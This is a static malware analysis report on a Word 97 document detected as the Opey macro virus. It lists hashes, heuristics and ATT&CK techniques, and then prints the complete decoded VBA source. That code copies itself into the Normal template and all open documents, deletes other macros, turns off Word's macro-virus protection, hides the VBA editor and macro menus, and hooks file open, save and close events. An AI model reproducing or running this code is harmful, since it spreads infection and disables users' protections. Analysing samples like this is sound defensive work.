Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d58939031ff8edff…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-06-08 21:30:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-16
MD5: 2daa6eee2c44a0e266a84c421d337460 SHA-1: 7ce6456a6470fa6d8f17a7f938ddb92f74cc5ccd SHA-256: d58939031ff8edff511f7e14466750a08cdd74bf80f412c31f00fc1db8983263
236 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The heuristics indicate self-replication and disabling of macro protection, suggesting a worm-like behavior. The ClamAV detections 'Doc.Trojan.Opey-18' and 'Doc.Trojan.Opey-4' further confirm its malicious nature. The VBA script attempts to copy itself to the normal template and other open documents, indicating a propagation mechanism.

Heuristics 6

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4023 bytes
SHA-256: ca66cb59f32870848ebcd08545223ffb2df067d27241125df8f495da6da78ca9
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A_OPEY_03"
Sub OnlyYou()
  On Error Resume Next
    Call A_OPEY_03
    NTInfected = False
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "A_OPEY_03" Then NTInfected = True
                If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(j).Name
                    If clan = "A_OPEY_03" Then ODInfected = True
                    If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next j
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
End Sub
Sub A_OPEY_03()
    On Error Resume Next
    Application.UserName = "OPEY A."
    Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
    Application.UserInitials = "LOVE"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "OPEY A."
        .Title = "LOVE"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CommandBars("Tools").Controls("Customize...").Delete
    CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub AutoExec()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call OnlyYou
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileClose()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoClose()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Close
End Sub
Sub AutoExit()
    On Error Resume Next
    Call OnlyYou
    Application.Quit
End Sub

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